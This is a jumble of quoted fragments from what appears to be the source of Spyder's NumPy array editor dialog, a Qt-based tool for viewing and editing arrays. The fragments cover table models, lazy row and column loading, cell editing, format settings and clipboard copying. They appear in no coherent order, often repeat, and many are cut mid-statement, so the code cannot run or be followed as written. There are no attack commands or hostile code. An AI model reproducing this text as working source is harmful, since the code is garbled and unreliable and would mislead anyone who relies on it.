get_idx_rect(index_list): \"\"\"Extract the boundaries from a list of indexes\"\"\"", "self.beginInsertRows(QModelIndex(), self.rows_loaded, self.rows_loaded + items_to_fetch - 1) self.rows_loaded += items_to_fetch", "contents = output.getvalue().decode('utf-8') output.close() return contents @Slot() def copy(self): \"\"\"Copy", "btn.setEnabled(is_float(data.dtype)) btn_layout.addWidget(btn) btn.clicked.connect(self.change_format) btn = QPushButton(_( \"Resize\")) btn_layout.addWidget(btn) btn.clicked.connect(self.view.resize_to_contents) bgcolor", "values for \" \"this array\")) return contents = output.getvalue().decode('utf-8') output.close()", "data.dtype, data.shape) btn_layout = QHBoxLayout() btn_layout.setAlignment(Qt.AlignLeft) btn = QPushButton(_( \"Format\"))", "size > LARGE_SIZE: self.rows_loaded = self.ROWS_TO_LOAD self.cols_loaded = self.COLS_TO_LOAD else:", "view class\"\"\" def __init__(self, parent, model, dtype, shape): QTableView.__init__(self, parent)", "a column without loading more, # so we can treat", "== QKeySequence.Copy: self.copy() else: QTableView.keyPressEvent(self, event) def _sel_to_text(self, cell_range): \"\"\"Copy", "% format) return self.model.set_format(format) class ArrayEditor(QDialog): \"\"\"Array Editor Dialog\"\"\" def", "names = [_('Masked data'), _('Data'), _('Mask')] if data.ndim == 3:", "Qt \"\"\" # pylint: disable=C0103 # pylint: disable=R0903 # pylint:", "if self.total_cols > LARGE_COLS: self.cols_loaded = self.COLS_TO_LOAD else: self.cols_loaded =", "def contextMenuEvent(self, event): \"\"\"Reimplement Qt method\"\"\" self.menu.popup(event.globalPos()) event.accept() def keyPressEvent(self,", "0) # Buttons configuration btn_layout = QHBoxLayout() if is_record_array or", "applied separately\")) label.setToolTip(_(\"For performance reasons, changes applied \"\\ \"to masked", "won't crash. It seems generated by a bug in sip.", "btn_layout.addWidget(label) btn_layout.addStretch() if not readonly: self.btn_save_and_close = QPushButton(_('Save and Close'))", "spyder/__init__.py for details) \"\"\" NumPy Array Editor Dialog based on", "rows=True)) def load_more_data(self, value, rows=False, columns=False): try: old_selection = self.selectionModel().selection()", "\"\"\"Extract the boundaries from a list of indexes\"\"\" rows, cols", "event to enable the save and close button.\"\"\" if self.btn_save_and_close:", "data change event to enable the save and close button.\"\"\"", "accessing the private attribute _format from outside return self._format def", "self.height()) self.shape = shape self.menu = self.setup_menu() config_shortcut(self.copy, context='variable_explorer', name='copy',", "= stack_index self.stack.update() self.stack.setCurrentIndex(stack_index) def current_dim_changed(self, index): \"\"\" This change", "to_binary_string, to_text_string) from spyder.utils import icon_manager as ima from spyder.utils.qthelpers", "ValueError: val = value.lower() == \"true\" elif dtype.startswith(\"string\") or dtype.startswith(\"bytes\"):", "to display when launched self.current_dim_changed(self.last_dim) else: ra_combo = QComboBox(self) ra_combo.currentIndexChanged.connect(self.stack.setCurrentIndex)", "list(self.model.changes.items()): self.data[i, j] = value if self.old_data_shape is not None:", "or ('short' in dtype.name) def get_idx_rect(index_list): \"\"\"Extract the boundaries from", "if not cell_range: return row_min, row_max, col_min, col_max = get_idx_rect(cell_range)", "self.rows_loaded += items_to_fetch self.endInsertRows() if self.can_fetch_more(columns=columns): reminder = self.total_cols -", "self.get_value(index) if is_binary_string(value): try: value = to_text_string(value, 'utf8') except: pass", "readonly=readonly, parent=self) self.view = ArrayView(self, self.model, data.dtype, data.shape) btn_layout =", "ArrayView(self, self.model, data.dtype, data.shape) btn_layout = QHBoxLayout() btn_layout.setAlignment(Qt.AlignLeft) btn =", "= self.model().index(top, left) bottom_right = self.model().index(bottom, right) part = QItemSelectionRange(top_left,", "'%r', 'complex192': '%r', 'complex256': '%r', 'byte': '%d', 'bytes8': '%s', 'short':", "fmt=self.model().get_format()) except: QMessageBox.warning(self, _(\"Warning\"), _(\"It was not possible to copy", "import add_actions, create_action, keybinding # Note: string and unicode data", "pylint: disable=R0201 # Standard library imports from __future__ import print_function", "of size 0 in one axis self.stack.addWidget(ArrayEditorWidget(self, self.data)) self.dim_indexes[self.last_dim][data_index] =", "def commitAndCloseEditor(self): \"\"\"Commit and close editor\"\"\" editor = self.sender() #", "or is_masked_array or data.ndim == 3: if is_record_array: btn_layout.addWidget(QLabel(_(\"Record array", "self.btn_close.clicked.connect(self.reject) btn_layout.addWidget(self.btn_close) self.layout.addLayout(btn_layout, 2, 0) self.setMinimumSize(400, 300) # Make the", "False try: val = complex(value) if not val.imag: val =", "slice_index = [slice(None)]*3 slice_index[self.last_dim] = data_index stack_index = self.dim_indexes[self.last_dim].get(data_index) if", "if not index.isValid() or self.readonly: return False i = index.row()", "\" \"supported\")) return False if xlabels is not None and", "+= items_to_fetch self.endInsertColumns() def bgcolor(self, state): \"\"\"Toggle backgroundcolor\"\"\" self.bgcolor_enabled =", "'uint32': '%d', 'uint64': '%d', 'bool_': '%r', 'bool8': '%r', 'bool': '%r',", "readonly or not self.data.flags.writeable is_record_array = data.dtype.names is not None", "Qt.DisplayRole: if value is np.ma.masked: return '' else: try: return", "1) self.rows_loaded += items_to_fetch self.endInsertRows() if self.can_fetch_more(columns=columns): reminder = self.total_cols", "class ArrayEditor(QDialog): \"\"\"Array Editor Dialog\"\"\" def __init__(self, parent=None): QDialog.__init__(self, parent)", "of indexes\"\"\" rows, cols = list(zip(*[(i.row(), i.column()) for i in", "the total size, number of rows or number of #", "self.index_spin.value() != 0: self.index_spin.setValue(0) else: # this is done since", "is not np.ma.masked: try: hue = (self.hue0 + self.dhue *", "index.column() if len(self._data.shape) == 1: value = self._data[j] else: value", "index, role=Qt.DisplayRole): \"\"\"Cell content\"\"\" if not index.isValid(): return to_qvariant() value", "\" + _(\"NumPy array\") else: title = _(\"Array editor\") if", "- '+title names.append(text) else: names = [_('Masked data'), _('Data'), _('Mask')]", "icon=ima.icon('editcopy'), triggered=self.copy, context=Qt.WidgetShortcut) menu = QMenu(self) add_actions(menu, [self.copy_action, ]) return", "after closing the dialog box, # otherwise it may be", "editor self.dim_indexes = [{}, {}, {}] self.last_dim = 0 #", "QGridLayout() self.setLayout(self.layout) self.setWindowIcon(ima.icon('arredit')) if title: title = to_text_string(title) + \"", "if is_record_array or is_masked_array or data.ndim == 3: if is_record_array:", "range(3)] ra_combo = QComboBox(self) ra_combo.addItems(names) ra_combo.currentIndexChanged.connect(self.current_dim_changed) # Adding the widgets", "data\"\"\" return self._data def set_format(self, format): \"\"\"Change display format\"\"\" self._format", "string_size = ['%i']*3 string_size[index] = '<font color=red>%i</font>' self.shape_label.setText(('Shape: (' +", "return True else: return False def fetch_more(self, rows=False, columns=False): if", "treat it as intentional and copy the whole thing col_max", "format\"\"\" self._format = format self.reset() def columnCount(self, qindex=QModelIndex()): \"\"\"Array column", "destroyed, due to the Qt.WA_DeleteOnClose attribute return self.data def error(self,", "[{}, {}, {}] self.last_dim = 0 # Adjust this for", "column number\"\"\" if self.total_cols <= self.cols_loaded: return self.total_cols else: return", "QComboBox, QDialog, QDialogButtonBox, QGridLayout, QHBoxLayout, QInputDialog, QItemDelegate, QLabel, QLineEdit, QMenu,", "'%r', } LARGE_SIZE = 5e5 LARGE_NROWS = 1e5 LARGE_COLS =", "Editor Dialog\"\"\" def __init__(self, parent=None): QDialog.__init__(self, parent) # Destroying the", "dtype.startswith(\"str\"): val = to_text_string(value) else: if value.lower().startswith('e') or value.lower().endswith('e'): return", "dtype.name in ['single', 'double'] def is_number(dtype): \"\"\"Return True is datatype", "reminder = self.total_rows - self.rows_loaded items_to_fetch = min(reminder, self.ROWS_TO_LOAD) self.beginInsertRows(QModelIndex(),", "application crash on Windows self.setAttribute(Qt.WA_DeleteOnClose) self.data = None self.arraywidget =", "True otherwise \"\"\" self.data = data readonly = readonly or", "from spyder.config.gui import get_font, config_shortcut from spyder.py3compat import (io, is_binary_string,", "MIT License # (see spyder/__init__.py for details) \"\"\" NumPy Array", "if self.arraywidget: self.arraywidget.model.dataChanged.connect( self.save_and_close_enable) self.stack.currentChanged.connect(self.current_widget_changed) self.layout.addWidget(self.stack, 1, 0) # Buttons", "#============================================================================== # Utility functions #============================================================================== def is_float(dtype): \"\"\"Return True if", "from a list of indexes\"\"\" rows, cols = list(zip(*[(i.row(), i.column())", "content change\"\"\" if not index.isValid() or self.readonly: return False i", "based on Qt \"\"\" # pylint: disable=C0103 # pylint: disable=R0903", "import (QAbstractTableModel, QItemSelection, QLocale, QItemSelectionRange, QModelIndex, Qt, Slot) from qtpy.QtGui", "0 and col_max == (self.model().cols_loaded-1): # we've selected a whole", "__init__(self, parent, data, readonly=False, xlabels=None, ylabels=None): QWidget.__init__(self, parent) self.data =", "\"Resize\")) btn_layout.addWidget(btn) btn.clicked.connect(self.view.resize_to_contents) bgcolor = QCheckBox(_( 'Background color')) bgcolor.setChecked(self.model.bgcolor_enabled) bgcolor.setEnabled(self.model.bgcolor_enabled)", "from __future__ import print_function # Third party imports from qtpy.compat", "QComboBox(self) ra_combo.addItems(names) ra_combo.currentIndexChanged.connect(self.current_dim_changed) # Adding the widgets to layout label", "title: title = to_text_string(title) + \" - \" + _(\"NumPy", "= SUPPORTED_FORMATS.get(data.dtype.name, '%s') self.model = ArrayModel(self.data, format=format, xlabels=xlabels, ylabels=ylabels, readonly=readonly,", "from qtpy.QtCore import (QAbstractTableModel, QItemSelection, QLocale, QItemSelectionRange, QModelIndex, Qt, Slot)", "2, 0) self.setMinimumSize(400, 300) # Make the dialog act as", "io.BytesIO() else: output = io.StringIO() try: np.savetxt(output, _data[row_min:row_max+1, col_min:col_max+1], delimiter='\\t',", "QSpinBox, QStackedWidget, QTableView, QVBoxLayout, QWidget) import numpy as np #", "QComboBox(self) ra_combo.currentIndexChanged.connect(self.stack.setCurrentIndex) ra_combo.addItems(names) btn_layout.addWidget(ra_combo) if is_masked_array: label = QLabel(_(\"<u>Warning</u>: changes", "'%d', 'int64': '%d', 'ubyte': '%d', 'ushort': '%d', 'uintc': '%d', 'uint':", "in range(3)] ra_combo = QComboBox(self) ra_combo.addItems(names) ra_combo.currentIndexChanged.connect(self.current_dim_changed) # Adding the", "return to_qvariant() labels = self.xlabels if orientation == Qt.Horizontal else", "self.changes self.changes[(i, j)] = val self.dataChanged.emit(index, index) if not is_string(val):", "data.dtype.name self.error(_(\"%s are currently not supported\") % arr) return False", "i.column()) for i in index_list])) return ( min(rows), max(rows), min(cols),", "model, dtype, shape): QTableView.__init__(self, parent) self.setModel(model) self.setItemDelegate(ArrayDelegate(dtype, self)) total_width =", "self.total_cols def get_format(self): \"\"\"Return current format\"\"\" # Avoid accessing the", "clipboard) feature class ArrayView(QTableView): \"\"\"Array view class\"\"\" def __init__(self, parent,", "# Needed to handle a NameError while fetching data when", "Stack widget self.stack = QStackedWidget(self) if is_record_array: for name in", "from qtpy.QtGui import QColor, QCursor, QDoubleValidator, QKeySequence from qtpy.QtWidgets import", "self)) total_width = 0 for k in range(shape[1]): total_width +=", "= self.model().index(bottom, right) part = QItemSelectionRange(top_left, bottom_right) new_selection.append(part) self.selectionModel().select (new_selection,", "in dtype.name) def get_idx_rect(index_list): \"\"\"Extract the boundaries from a list", "self._format def get_data(self): \"\"\"Return data\"\"\" return self._data def set_format(self, format):", "None or old_cols_loaded is not None: # if we've changed", "= huerange[0] self.dhue = huerange[1]-huerange[0] self.bgcolor_enabled = True except (TypeError,", "details) \"\"\" NumPy Array Editor Dialog based on Qt \"\"\"", "analysis thread in Spyder), thus leading to # a segmentation", "QKeySequence.Copy: self.copy() else: QTableView.keyPressEvent(self, event) def _sel_to_text(self, cell_range): \"\"\"Copy an", "index.isValid(): return to_qvariant() value = self.get_value(index) if is_binary_string(value): try: value", "config_shortcut from spyder.py3compat import (io, is_binary_string, is_string, is_text_string, PY3, to_binary_string,", "import (QAbstractItemDelegate, QApplication, QCheckBox, QComboBox, QDialog, QDialogButtonBox, QGridLayout, QHBoxLayout, QInputDialog,", "if self.vmax == self.vmin: self.vmin -= 1 self.hue0 = huerange[0]", "readonly, xlabels, ylabels)) elif data.ndim == 3: pass else: self.stack.addWidget(ArrayEditorWidget(self,", "return to_qvariant() def setData(self, index, value, role=Qt.EditRole): \"\"\"Cell content change\"\"\"", "to match # updated range) bottom = self.model().rows_loaded-1 left =", "(1, 1) format = SUPPORTED_FORMATS.get(data.dtype.name, '%s') self.model = ArrayModel(self.data, format=format,", "= data.dtype.names is not None is_masked_array = isinstance(data, np.ma.MaskedArray) if", "def accept_changes(self): \"\"\"Accept changes\"\"\" for (i, j), value in list(self.model.changes.items()):", "= list(zip(*[(i.row(), i.column()) for i in index_list])) return ( min(rows),", "self.data.shape[index]-1) @Slot() def accept(self): \"\"\"Reimplement Qt method\"\"\" for index in", "we've selected a whole column. It isn't possible to #", "_(\"%s arrays\") % data.dtype.name self.error(_(\"%s are currently not supported\") %", "= self._data[i, j] return self.changes.get((i, j), value) def data(self, index,", "# Adding the widgets to layout label = QLabel(_(\"Axis:\")) btn_layout.addWidget(label)", "# but at least Spyder won't crash. It seems generated", "numbers, shading will be based on absolute value # but", "def flags(self, index): \"\"\"Set editable flag\"\"\" if not index.isValid(): return", "portion to a unicode string\"\"\" if not cell_range: return row_min,", "_(\"Array editor\"), message) self.setAttribute(Qt.WA_DeleteOnClose) self.reject() @Slot() def reject(self): \"\"\"Reimplement Qt", "'complex128': '%r', 'complex192': '%r', 'complex256': '%r', 'byte': '%d', 'bytes8': '%s',", "parent=None): QAbstractTableModel.__init__(self) self.dialog = parent self.changes = {} self.xlabels =", "(so expand it to match updated # range) right =", "'csingle': '%r', 'complex_': '%r', 'clongfloat': '%r', 'complex64': '%r', 'complex128': '%r',", "'%.6g', 'csingle': '%r', 'complex_': '%r', 'clongfloat': '%r', 'complex64': '%r', 'complex128':", "box, # otherwise it may be garbage-collected in another QThread", "= val if val < self.vmin: self.vmin = val return", "in dtype.name) \\ or ('short' in dtype.name) def get_idx_rect(index_list): \"\"\"Extract", "dtn = data.dtype.name if dtn not in SUPPORTED_FORMATS and not", "value = not value model.setData(index, to_qvariant(value)) return elif value is", "+ ')' self.setWindowTitle(title) self.resize(600, 500) # Stack widget self.stack =", "index for 3d arrays, to give the same behavior as", "= [.66, .99] # Hue self.sat = .7 # Saturation", "btn_layout.addWidget(self.shape_label) label = QLabel(_(\"Index:\")) btn_layout.addWidget(label) btn_layout.addWidget(self.index_spin) self.slicing_label = QLabel() btn_layout.addWidget(self.slicing_label)", "( min(rows), max(rows), min(cols), max(cols) ) #============================================================================== # Main classes", "from spyder.py3compat import (io, is_binary_string, is_string, is_text_string, PY3, to_binary_string, to_text_string)", "event == QKeySequence.Copy: self.copy() else: QTableView.keyPressEvent(self, event) def _sel_to_text(self, cell_range):", "else: return self.cols_loaded def rowCount(self, qindex=QModelIndex()): \"\"\"Array row number\"\"\" if", "if index < 0: data_index = self.data.shape[self.last_dim] + index else:", "# columns is too large if size > LARGE_SIZE: self.rows_loaded", "self.stack.currentChanged.connect(self.current_widget_changed) self.layout.addWidget(self.stack, 1, 0) # Buttons configuration btn_layout = QHBoxLayout()", "QModelIndex, Qt, Slot) from qtpy.QtGui import QColor, QCursor, QDoubleValidator, QKeySequence", "an array portion to a unicode string\"\"\" if not cell_range:", "and col_max == (self.model().cols_loaded-1): # we've selected a whole column.", "but for all other types it will be the real", "old_rows_loaded = old_cols_loaded = None if rows and value ==", "is not None and len(ylabels) != self.data.shape[0]: self.error(_(\"The 'ylabels' argument", "self.reset() def columnCount(self, qindex=QModelIndex()): \"\"\"Array column number\"\"\" if self.total_cols <=", "np.ma.masked: try: hue = (self.hue0 + self.dhue * (float(self.vmax) -", "indexes\"\"\" rows, cols = list(zip(*[(i.row(), i.column()) for i in index_list]))", "self.model().cols_loaded self.model().fetch_more(columns=columns) if old_rows_loaded is not None or old_cols_loaded is", "color=red>%i</font>' self.shape_label.setText(('Shape: (' + ', '.join(string_size) + ') ') %", "rows=False, columns=False): if self.can_fetch_more(rows=rows): reminder = self.total_rows - self.rows_loaded items_to_fetch", "isinstance(data, np.ma.MaskedArray) if data.ndim > 3: self.error(_(\"Arrays with more than", "number\"\"\" if self.total_cols <= self.cols_loaded: return self.total_cols else: return self.cols_loaded", "self.layout = None self.btn_save_and_close = None self.btn_close = None #", "format button for int type btn.setEnabled(is_float(data.dtype)) btn_layout.addWidget(btn) btn.clicked.connect(self.change_format) btn =", "in old_selection: top = part.top() bottom = part.bottom() if (old_rows_loaded", "row \" \"number\")) return False if not is_record_array: dtn =", "dimensions are not \" \"supported\")) return False if xlabels is", "@Slot(QModelIndex, QModelIndex) def save_and_close_enable(self, left_top, bottom_right): \"\"\"Handle the data change", "datatype dtype is a number kind\"\"\" return is_float(dtype) or ('int'", "= QMenu(self) add_actions(menu, [self.copy_action, ]) return menu def contextMenuEvent(self, event):", "'complex256': '%r', 'byte': '%d', 'bytes8': '%s', 'short': '%d', 'intc': '%d',", "val < self.vmin: self.vmin = val return True def flags(self,", "old_selection: top = part.top() bottom = part.bottom() if (old_rows_loaded is", "Qt.WA_DeleteOnClose attribute return self.data def error(self, message): \"\"\"An error occured,", "QCursor, QDoubleValidator, QKeySequence from qtpy.QtWidgets import (QAbstractItemDelegate, QApplication, QCheckBox, QComboBox,", "too large if size > LARGE_SIZE: self.rows_loaded = self.ROWS_TO_LOAD self.cols_loaded", "valid = QInputDialog.getText(self, _( 'Format'), _( \"Float formatting\"), QLineEdit.Normal, self.model.get_format())", "not None and top == 0 and bottom == (old_rows_loaded-1)):", "qtpy.QtGui import QColor, QCursor, QDoubleValidator, QKeySequence from qtpy.QtWidgets import (QAbstractItemDelegate,", "dialog act as a window self.setWindowFlags(Qt.Window) return True @Slot(QModelIndex, QModelIndex)", "Setup ArrayEditor: return False if data is not supported, True", "string and unicode data types will be formatted with '%s'", "items_to_fetch - 1) self.rows_loaded += items_to_fetch self.endInsertRows() if self.can_fetch_more(columns=columns): reminder", "str) dtype = self._data.dtype.name if dtype == \"bool\": try: val", "readonly, xlabels, ylabels)) self.stack.addWidget(ArrayEditorWidget(self, data.data, readonly, xlabels, ylabels)) self.stack.addWidget(ArrayEditorWidget(self, data.mask,", "= self._data.shape[0] self.total_cols = self._data.shape[1] size = self.total_rows * self.total_cols", "\"\"\"Create editor widget\"\"\" model = index.model() value = model.get_value(index) if", "data.shape) btn_layout = QHBoxLayout() btn_layout.setAlignment(Qt.AlignLeft) btn = QPushButton(_( \"Format\")) #", "k in range(shape[1]): total_width += self.columnWidth(k) self.viewport().resize(min(total_width, 1024), self.height()) self.shape", "imports from qtpy.compat import from_qvariant, to_qvariant from qtpy.QtCore import (QAbstractTableModel,", "self.hue0 = huerange[0] self.dhue = huerange[1]-huerange[0] self.bgcolor_enabled = True except", "try: self.vmin = np.nanmin(self.color_func(data)) self.vmax = np.nanmax(self.color_func(data)) if self.vmax ==", "= index.model() value = model.get_value(index) if model._data.dtype.name == \"bool\": value", "\"\"\"Change display format\"\"\" format, valid = QInputDialog.getText(self, _( 'Format'), _(", "self.index_spin.setValue(0) else: # this is done since if the value", "get_font, config_shortcut from spyder.py3compat import (io, is_binary_string, is_string, is_text_string, PY3,", "range(shape[1]): total_width += self.columnWidth(k) self.viewport().resize(min(total_width, 1024), self.height()) self.shape = shape", "terms of the MIT License # (see spyder/__init__.py for details)", "(e.g. the editor's analysis thread in Spyder), thus leading to", "[str(i) for i in range(3)] ra_combo = QComboBox(self) ra_combo.addItems(names) ra_combo.currentIndexChanged.connect(self.current_dim_changed)", "while fetching data when closing # See isue 7880 pass", "values in index for 3d arrays, to give the same", "and copy the whole thing col_max = self.model().total_cols-1 if row_min", "Adjust this for changing the startup dimension def setup_and_check(self, data,", "event): \"\"\"Reimplement Qt method\"\"\" self.menu.popup(event.globalPos()) event.accept() def keyPressEvent(self, event): \"\"\"Reimplement", "is_masked_array = isinstance(data, np.ma.MaskedArray) if data.ndim > 3: self.error(_(\"Arrays with", "# pylint: disable=C0103 # pylint: disable=R0903 # pylint: disable=R0911 #", "= QPushButton(_('Close')) self.btn_close.setAutoDefault(True) self.btn_close.setDefault(True) self.btn_close.clicked.connect(self.reject) btn_layout.addWidget(self.btn_close) self.layout.addLayout(btn_layout, 2, 0) self.setMinimumSize(400,", "len(self.data.shape) == 1: self.old_data_shape = self.data.shape self.data.shape = (self.data.shape[0], 1)", "]) return menu def contextMenuEvent(self, event): \"\"\"Reimplement Qt method\"\"\" self.menu.popup(event.globalPos())", "if role == Qt.DisplayRole: if value is np.ma.masked: return ''", "= self._data.dtype.name if dtype == \"bool\": try: val = bool(float(value))", "dialog box, # otherwise it may be garbage-collected in another", "Value self.alp = .6 # Alpha-channel self._data = data self._format", "try: value = to_text_string(value, 'utf8') except: pass if role ==", "bug in sip. try: self.commitData.emit(editor) except AttributeError: pass self.closeEditor.emit(editor, QAbstractItemDelegate.NoHint)", "self.sender() # Avoid a segfault with PyQt5. Variable value won't", "= part.right() if (old_cols_loaded is not None and left ==", "selected a whole column. It isn't possible to # select", "> self.cols_loaded: return True else: return False def fetch_more(self, rows=False,", "left == 0 and right == (old_cols_loaded-1)): # compete row", "self.vmin: self.vmin -= 1 self.hue0 = huerange[0] self.dhue = huerange[1]-huerange[0]", "= {} self.xlabels = xlabels self.ylabels = ylabels self.readonly =", "currentIndexChanged(int) self.change_active_widget(0) self.index_spin.setRange(-self.data.shape[index], self.data.shape[index]-1) @Slot() def accept(self): \"\"\"Reimplement Qt method\"\"\"", "__init__(self, data, format=\"%.6g\", xlabels=None, ylabels=None, readonly=False, parent=None): QAbstractTableModel.__init__(self) self.dialog =", "intentional and copy the whole thing col_max = self.model().total_cols-1 if", "data.ndim == 3: pass else: self.stack.addWidget(ArrayEditorWidget(self, data, readonly, xlabels, ylabels))", "'float96': '%.6g', 'float128': '%.6g', 'csingle': '%r', 'complex_': '%r', 'clongfloat': '%r',", "True except (TypeError, ValueError): self.vmin = None self.vmax = None", "change_active_widget(self, index): \"\"\" This is implemented for handling negative values", "io.StringIO() try: np.savetxt(output, _data[row_min:row_max+1, col_min:col_max+1], delimiter='\\t', fmt=self.model().get_format()) except: QMessageBox.warning(self, _(\"Warning\"),", "btn_layout.addWidget(ra_combo) self.shape_label = QLabel() btn_layout.addWidget(self.shape_label) label = QLabel(_(\"Index:\")) btn_layout.addWidget(label) btn_layout.addWidget(self.index_spin)", "\"supported\")) return False if xlabels is not None and len(xlabels)", "state): \"\"\"Toggle backgroundcolor\"\"\" self.bgcolor_enabled = state > 0 self.reset() def", "self.selectedIndexes() ) clipboard = QApplication.clipboard() clipboard.setText(cliptxt) class ArrayEditorWidget(QWidget): def __init__(self,", "= self.total_rows if self.total_cols > LARGE_COLS: self.cols_loaded = self.COLS_TO_LOAD else:", "if ylabels is not None and len(ylabels) != self.data.shape[0]: self.error(_(\"The", "method\"\"\" if self.arraywidget is not None: for index in range(self.stack.count()):", "to_binary_string(value, 'utf8') elif dtype.startswith(\"unicode\") or dtype.startswith(\"str\"): val = to_text_string(value) else:", "QLocale, QItemSelectionRange, QModelIndex, Qt, Slot) from qtpy.QtGui import QColor, QCursor,", "first part of a column without loading more, # so", "widget\"\"\" model = index.model() value = model.get_value(index) if model._data.dtype.name ==", "= QLineEdit(parent) editor.setFont(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) editor.setAlignment(Qt.AlignCenter) if is_number(self.dtype): validator = QDoubleValidator(editor) validator.setLocale(QLocale('C'))", "row_min == 0 and row_max == (self.model().rows_loaded-1): row_max = self.model().total_rows-1", "(see below) SUPPORTED_FORMATS = { 'single': '%.6g', 'double': '%.6g', 'float_':", "'%d', 'ulonglong': '%d', 'uintp': '%d', 'uint8': '%d', 'uint16': '%d', 'uint32':", "\"\"\"Array row number\"\"\" if self.total_rows <= self.rows_loaded: return self.total_rows else:", "it may be garbage-collected in another QThread # (e.g. the", "Main classes #============================================================================== class ArrayModel(QAbstractTableModel): \"\"\"Array Editor Table Model\"\"\" ROWS_TO_LOAD", "3d arrays, to give the same behavior as slicing \"\"\"", "cell_range: return row_min, row_max, col_min, col_max = get_idx_rect(cell_range) if col_min", "parent=self) self.horizontalScrollBar().valueChanged.connect( lambda val: self.load_more_data(val, columns=True)) self.verticalScrollBar().valueChanged.connect( lambda val: self.load_more_data(val,", "Qt method\"\"\" for index in range(self.stack.count()): self.stack.widget(index).accept_changes() QDialog.accept(self) def get_value(self):", "not supported\") % arr) return False self.layout = QGridLayout() self.setLayout(self.layout)", "index): \"\"\"Set editor widget's data\"\"\" text = from_qvariant(index.model().data(index, Qt.DisplayRole), str)", "be based on absolute value # but for all other", "== 1: value = self._data[j] else: value = self._data[i, j]", "+ \"]\") % index) if index < 0: data_index =", "e: print(\"OverflowError: \" + str(e)) # spyder: test-skip QMessageBox.critical(self.dialog, \"Error\",", "self.btn_save_and_close: self.btn_save_and_close.setEnabled(True) self.btn_save_and_close.setAutoDefault(True) self.btn_save_and_close.setDefault(True) def current_widget_changed(self, index): self.arraywidget = self.stack.widget(index)", "val: self.load_more_data(val, rows=True)) def load_more_data(self, value, rows=False, columns=False): try: old_selection", "Avoid a segfault with PyQt5. Variable value won't be changed", "== 0 and bottom == (old_rows_loaded-1)): # complete column selected", "orientation, role=Qt.DisplayRole): \"\"\"Set header data\"\"\" if role != Qt.DisplayRole: return", "xlabels, ylabels)) elif is_masked_array: self.stack.addWidget(ArrayEditorWidget(self, data, readonly, xlabels, ylabels)) self.stack.addWidget(ArrayEditorWidget(self,", "self.setMinimumSize(400, 300) # Make the dialog act as a window", "self.color_func = np.real # Backgroundcolor settings huerange = [.66, .99]", "return False if columns: if self.total_cols > self.cols_loaded: return True", "not None: self.data.shape = self.old_data_shape def reject_changes(self): \"\"\"Reject changes\"\"\" if", "raise an Exception eventually except OverflowError as e: print(\"OverflowError: \"", "ylabels=None): \"\"\" Setup ArrayEditor: return False if data is not", "0 it does not emit # currentIndexChanged(int) self.change_active_widget(0) self.index_spin.setRange(-self.data.shape[index], self.data.shape[index]-1)", "is_record_array = data.dtype.names is not None is_masked_array = isinstance(data, np.ma.MaskedArray)", "'%d', 'intp': '%d', 'int8': '%d', 'int16': '%d', 'int32': '%d', 'int64':", "update selection new_selection = QItemSelection() for part in old_selection: top", "import _ from spyder.config.fonts import DEFAULT_SMALL_DELTA from spyder.config.gui import get_font,", "'%d', 'bytes8': '%s', 'short': '%d', 'intc': '%d', 'int_': '%d', 'longlong':", "self.dim_indexes[self.last_dim].get(data_index) if stack_index is None: stack_index = self.stack.count() try: self.stack.addWidget(ArrayEditorWidget(", "get_format(self): \"\"\"Return current format\"\"\" # Avoid accessing the private attribute", "@Slot() def accept(self): \"\"\"Reimplement Qt method\"\"\" for index in range(self.stack.count()):", "spyder.config.gui import get_font, config_shortcut from spyder.py3compat import (io, is_binary_string, is_string,", "change the active axis the array editor is plotting over", "def _sel_to_text(self, cell_range): \"\"\"Copy an array portion to a unicode", "as e: QMessageBox.critical(self.dialog, \"Error\", \"Value error: %s\" % str(e)) return", "'int32': '%d', 'int64': '%d', 'ubyte': '%d', 'ushort': '%d', 'uintc': '%d',", "items_to_fetch = min(reminder, self.COLS_TO_LOAD) self.beginInsertColumns(QModelIndex(), self.cols_loaded, self.cols_loaded + items_to_fetch -", "handle a NameError while fetching data when closing # See", "parent) # Destroying the C++ object right after closing the", "as it has probably # already been destroyed, due to", "\"Paste\" (from clipboard) feature class ArrayView(QTableView): \"\"\"Array view class\"\"\" def", "setData(self, index, value, role=Qt.EditRole): \"\"\"Cell content change\"\"\" if not index.isValid()", "def resize_to_contents(self): \"\"\"Resize cells to contents\"\"\" QApplication.setOverrideCursor(QCursor(Qt.WaitCursor)) self.resizeColumnsToContents() self.model().fetch_more(columns=True) self.resizeColumnsToContents()", "self.sat, self.val, self.alp) return to_qvariant(color) except TypeError: return to_qvariant() elif", "# QSpinBox self.index_spin = QSpinBox(self, keyboardTracking=False) self.index_spin.valueChanged.connect(self.change_active_widget) # QComboBox names", "(so expand it to match # updated range) bottom =", "in 3D \"\"\" self.last_dim = index string_size = ['%i']*3 string_size[index]", "= readonly self.test_array = np.array([0], dtype=data.dtype) # for complex numbers,", "_( \"Float formatting\"), QLineEdit.Normal, self.model.get_format()) if valid: format = str(format)", "the dialog box, # otherwise it may be garbage-collected in", "contents @Slot() def copy(self): \"\"\"Copy text to clipboard\"\"\" cliptxt =", "settings huerange = [.66, .99] # Hue self.sat = .7", "False if xlabels is not None and len(xlabels) != self.data.shape[1]:", "range(self.stack.count()): self.stack.widget(index).accept_changes() QDialog.accept(self) def get_value(self): \"\"\"Return modified array -- this", "> LARGE_NROWS: self.rows_loaded = self.ROWS_TO_LOAD else: self.rows_loaded = self.total_rows if", "+= ' (' + _('read only') + ')' self.setWindowTitle(title) self.resize(600,", "Adding the widgets to layout label = QLabel(_(\"Axis:\")) btn_layout.addWidget(label) btn_layout.addWidget(ra_combo)", "to avoid accessing Qt C++ object as it has probably", "ArrayDelegate(QItemDelegate): \"\"\"Array Editor Item Delegate\"\"\" def __init__(self, dtype, parent=None): QItemDelegate.__init__(self,", "'%r', 'clongfloat': '%r', 'complex64': '%r', 'complex128': '%r', 'complex192': '%r', 'complex256':", "Make the dialog act as a window self.setWindowFlags(Qt.Window) return True", "same behavior as slicing \"\"\" string_index = [':']*3 string_index[self.last_dim] =", "_('Data'), _('Mask')] if data.ndim == 3: # QSpinBox self.index_spin =", "= 1e5 LARGE_COLS = 60 #============================================================================== # Utility functions #==============================================================================", "save and close button.\"\"\" if self.btn_save_and_close: self.btn_save_and_close.setEnabled(True) self.btn_save_and_close.setAutoDefault(True) self.btn_save_and_close.setDefault(True) def", "return self.rows_loaded def can_fetch_more(self, rows=False, columns=False): if rows: if self.total_rows", "format=format, xlabels=xlabels, ylabels=ylabels, readonly=readonly, parent=self) self.view = ArrayView(self, self.model, data.dtype,", "#TODO: Implement \"Paste\" (from clipboard) feature class 